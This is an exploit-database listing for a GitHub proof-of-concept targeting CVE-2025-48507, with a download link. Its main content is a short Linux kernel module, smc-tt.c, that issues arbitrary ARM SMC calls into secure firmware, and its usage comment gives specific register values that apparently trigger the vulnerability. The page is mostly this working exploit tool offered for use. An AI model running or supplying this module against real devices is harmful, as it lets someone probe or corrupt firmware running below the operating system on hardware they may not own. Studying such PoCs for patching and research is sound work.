Exploit database

GH-78192f096a9416e79be85f791e4207b0

jdbonfils/poc_cve-2025-48507

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-48507

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
jdbonfils/poc_cve-2025-48507Revision a176d581fe80

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

source/smc-tt.c

C · 1,062 bytes
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/arm-smccc.h>
/*
	Simple kernel module for making arbitrary SMC calls
	Usage: insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
		r0: SMC call
		r1-r3: SMC parameters as defined in SMCCCv3
*/

MODULE_LICENSE("GPL");
#define DRIVER_NAME "SMC-TT"
static char *r0 = "0x1";
module_param(r0,charp,0660);

static char *r1 = "0x1";
module_param(r1,charp,0660);

static char *r2 = "0x1";
module_param(r2,charp,0660);

static char *r3 = "0x1";
module_param(r3,charp,0660);

static int __init module_start(void)
{
	unsigned long x0,x1,x2,x3;
	kstrtoul(r0, 16, &x0);
	kstrtoul(r1, 16, &x1);
	kstrtoul(r2, 16, &x2);
	kstrtoul(r3, 16, &x3);
	struct arm_smccc_res res;
	arm_smccc_1_1_smc(x0, x1, x2, x3, 0, 0, 0, 0, &res);
	pr_info(DRIVER_NAME "SMC (%0lx) result: A0: %d A1:%d A2:%d A3:%d",x0,res.a0,res.a1,res.a2,res.a3);

	return 0;
}
static void __exit module_end(void)
{
	printk(KERN_INFO "SMC-TT Exits\n");
}
module_init(module_start);
module_exit(module_end);